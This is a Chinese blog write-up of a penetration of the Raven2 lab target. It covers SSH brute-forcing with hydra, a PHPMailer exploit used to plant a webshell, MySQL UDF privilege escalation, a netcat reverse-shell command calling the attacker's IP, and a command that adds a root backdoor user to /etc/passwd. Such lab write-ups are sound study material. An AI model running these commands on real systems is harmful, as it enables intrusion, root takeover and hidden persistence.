3-Raven2百个靶机渗透(精写-思路为主)

文章详细阐述了一次靶机渗透的过程,包括信息收集、ssh爆破尝试、利用框架exp和CVE获取shell,以及通过mysqlUDF进行提权。在信息收集阶段,作者使用了nmap、dirb等工具,发现了靶机的IP、端口、系统版本及潜在的人员信息。在ssh爆破失败后,作者转向寻找并利用系统漏洞,最终通过mysqlUDF成功提权到root权限,获取了更高级别的控制。文章强调了学习思路的重要性,并提醒读者此类知识仅用于合法的学习交流,不可用于非法活动。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

特别注明:本文章只用于学习交流,不可用来从事违法犯罪活动,如使用者用来从事违法犯罪行为,一切与作者无关。


前言

思路清晰先说步骤:
1.信息收集,收集到应有的靶机可利用端口。

2.用收集到的信息尝试爆破ssh,如果信息足够可用拿到普通用户,最好能一次拿到root

3.根据系统版本搜索exp(常规提权),拿到root的shell

4.对mysql udf的渗透、提权,思路为主。

一、信息收集

扫描内网,定位靶机ip

nmap -p- 192.168.198.0/24

在这里插入图片描述

访问80

在这里插入图片描述
我们尝试另外几个端口,看能回显吗

111端口不回显

在这里插入图片描述
55677也没回显

在这里插入图片描述

当然22端口肯定能爆破,但是我们需要信息收集

那么我看回80端口,如果没有什么可用的信息就只能扫描子域名了

看回主页,我发现有team

这个team我觉得可能会有人员信息,我们收集一下

果然有

在这里插入图片描述
我们没办法的时候就用这些人物信息去试试

我们扫描一下子域名

dirb http://192.168.198.136 -w > url.txt

枚举发现该目录:

==> DIRECTORY:http://192.168.198.136/vendor/

在这里插入图片描述

http://192.168.198.136/vendor/PATH 第二个目录获得flag:

在这里插入图片描述

/var/www/html/vendor/

得到第一个flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}

http://10.211.55.10/vendor/README.md

在这里插入图片描述
枚举获得信息:PHPMailer

http://10.211.55.10/vendor/VERSION

枚举获得信息:5.2.16

在这里插入图片描述

等下我们去找EXP

二、ssh爆破尝试

cewl http://192.168.198.136/wordpress/ -w zhanghao.txt
hydra -l zhanghao.txt -P zhanghao.txt 192.168.198.136 ssh

爆破不出来,哎找不到密码。。。。

在这里插入图片描述

我们尝试别的姿势


三、根据框架exp和cve拿shell

对谷歌老师

搜索可用的EXP和poc

在这里插入图片描述

这是个扫描的exp

exp使用

在这里插入图片描述

把代码下载下来

直接利用

试了几个端口都用不了。

在这里插入图片描述

成功扫到了可用cve

在这里插入图片描述

有cve还不好说直接谷歌老师就好了
在这里插入图片描述在这里插入图片描述

下载到我们想要的攻击exp

作者居然还做了视频

我们看看

在这里插入图片描述
这个playload需要修改里面的代码

在这里插入图片描述

①.需要修改成靶机的url,url要包含.php,且这个php文件存在,可以用目录扫描扫出php后缀结尾的网页文件

②.需要修改一句话木马传入的名称

③.一句话木马反弹回来的ip,也就是kali的ip

④.这里需要知道靶机的绝对路径我们前面得到过这个路径

在这里插入图片描述

我们将cve复制进kali
在这里插入图片描述
python 40974.py

在这里插入图片描述

playload写入php文档里面

我们nc监听端口
在这里插入图片描述

然后执行这个php文档

他会把muma.php写入这个目录

在这里插入图片描述
我们执行muma.php

在这里插入图片描述
成功反弹shell

在这里插入图片描述

拿到shell但这是个伪shell

我们用bashshell

python -c 'import pty;pty.spawn("/bin/bash")'

在这里插入图片描述
但是这个shell还是不够好用,因为没有历史命令

我们按ctrl + z

让nc进入后台

在这里插入图片描述

执行stty raw -echo; fg
在这里插入图片描述

这下我们有更好用的tty了

到了我最喜欢的提权阶段

直接进厕所bushi

进/tmp

我们先看这个用户下面有几个flag

便利查找一下

find / -name flag* > f.txt 

在这里插入图片描述

。。。虽然找到了,但是flag没有提示信息

在这里插入图片描述

没事还有个flag3而且是个png,以我直觉大概率是个提示信息

我们先不用工具看,我们先用网页查看,因为明显这个目录是在网页下面的

/wordpress/wp-content/uploads/2018/11/flag3.png

没有提示信息。。。

在这里插入图片描述

很遗憾,那只能找其他信息了,不过这里目录中有upload,没准有个文件上传漏洞,但是我还没学好,所以,。。。。。。

那我们进这个目录下看看,wordpress应该也有问题

在这里插入图片描述

带config,我们肯定要看!!!

看下

说实话有点离谱了,谁会把密码和账号写在这里bushi

在这里插入图片描述

很明显要我们对mysql进一步渗透


四、对mysql的进一步渗透,mysql UDF 提权

UDF 提权、MOF 提权是非常经典的提权方法!

已经有root和password的密码了,那我们直接登录试下

mysql -uroot -pR@v3nSecurity

真进去了。。

在这里插入图片描述

信息收集一波

在这里插入图片描述
密码加了盐

在这里插入图片描述但是得到两个账户

michael
steven

账户没准可以爆破ssh,大家可以试试,我这里继续mysql的信息收集试下
其他表也没有啥有用的信息,只能尝试用mysql的漏洞去渗透了

那我们收集mysql 的版本信息
在这里插入图片描述

我们提权必须要满足的前提是mysql是root权限运行

在这里插入图片描述
udf提权是直接提权成root,这个环境满足条件

看下mysql安装过程

dpkg -l | grep mysql --查看历史安装包版本

都是5.5.60
在这里插入图片描述
查看下是否有权限运行udf
在这里插入图片描述

1)当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权

2)当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/目录下,此时也无法提权

3)当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权!

如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。

show variables like '%plugin%';

在这里插入图片描述

这里攻击思路有两种,一种是mysql能远程访问,那么我们可以用msf攻击;一种是mysql只能本地登录,那么我们就只能在本地进行攻击。

查看能否远程登陆:

use mysql;
select user,host from user;

在这里插入图片描述

发现这里root用户不允许远程登陆,因此不能利用MSF提权。

谷歌搜索:mysql 5.x UDF exploit 或者 searchsploit udf

https://www.exploit-db.com/exploits/1518

在这里插入图片描述在这里插入图片描述

searchsploit 1518

在这里插入图片描述

locate 1518.c

在这里插入图片描述

cp /usr/share/exploitdb/exploits/linux/local/1518.c /root/Desktop

在这里插入图片描述

使用方法
在这里插入图片描述先把exp复制过来
在这里插入图片描述

gcc -g -c 1518.c —GCC编译.o文件

gcc -g -shared -o mso.so 1518.o -lc

在这里插入图片描述

-g 生成调试信息
-c 编译(二进制)
-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
-o:执行命令后的文件名
-lc:-l 库 c库名

kali开启http让靶机下载
python -m http.server

wget http://192.168.198.133:8000/myso.so

在这里插入图片描述当然我们最好还是放在tmp下执行
在这里插入图片描述在这里插入图片描述

接下来是mysqludf提权部分
我们进入mysql

mysql -uroot -pR@v3nSecurity

在这里插入图片描述

创建一个表
create table myso(line blob);

MySQL中,Blob是一个二进制大型对象,是一个可以存储大量数据的容器,它能容纳不同大小的数据。

插入Blob类型的数据必须使用PreparedStatement,因为Blob类型的数据无法使用字符串拼接写的。

MySQL的四种Blob类型(除了在存储的最大信息量上不同外,他们是等同的)。

在这里插入图片描述

往这个表里写入提权数据,会以root权限执行

insert into myso values(load_file('/tmp/myso.so'));

在这里插入图片描述

因为我们这个文件使用普通权限写出来的,所以需要root权限导出然后执行

myso表成功插入二进制数据,然后利用dumpfile函数把文件导出,outfile 多行导出,dumpfile一行导出

outfile会有特殊的转换,而dumpfile是原数据导出!

新建存储函数:

select * from myso into dumpfile '/usr/lib/mysql/plugin/myso.so';

在这里插入图片描述

创建自定义函数do_system,类型是integer,别名(soname)文件名字,然后查询函数是否创建成功:

create function do_system returns integer soname 'myso.so';

在这里插入图片描述

查看以下创建的函数:

select * from mysql.func;

在这里插入图片描述
调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令:

select do_system(‘chmod u+s /usr/bin/find’);

s 在文件执行时把进程的属主或组ID置为该文件的文件属主。

原来只有某用户可以执行httpd这条命令, u+s后其他用户都可享有文件属主的权限。通过chown将文件属主调整为root,这样其他用户即可以root权限操作该文件。

因为find命令是root的

所以现在其他用户都能用root权限执行find权限

在这里插入图片描述
刚刚我们find命令有权限问题,现在就不会有了,我们执行一下查找flag*
在这里插入图片描述
还有个flag4.txt在root目录下

但我没有root家用户的权限
在这里插入图片描述

那我们就继续提权
直接提权bash shell会有问题

find / -exec "/bin/sh" ;

在这里插入图片描述

我们目前只能用sh不能用bash shell
在这里插入图片描述
拿到flag4
在这里插入图片描述

其他姿势

我们可以利用刚刚的mysql执行命令,反弹root的shell

在这里插入图片描述
先监听
在这里插入图片描述

select do_system('nc -nv 192.168.198.133 6661 -e /bin/bash');

得到root的shell
在这里插入图片描述

注意这个仅限于/bin/bash模式下面才可以这样做
在这里插入图片描述

我们还可以写入一个权限

写一个root权限的影子用户

在这里插入图片描述

select do_system('echo "ou:e9mTQIxwFiHzk:0:0:root:/root:/bin/bash" >> /etc/passwd');

在这里插入图片描述
影子用户

在这里插入图片描述


总结

以上就是对这个靶机的渗透总结了,这里用了mysql udf提权,这个方法现在已经不常用了5.1以后的版本基本无法使用,但是思路是永不过期的,希望大家能好好学习思路,而不是花里胡哨的漏洞偏门。谢谢大家,看到这里能点个👍吗?

特别注明:本文章只用于学习交流,不可用来从事违法犯罪活动,如使用者用来从事违法犯罪行为,一切与作者无关。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

白帽小丑

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值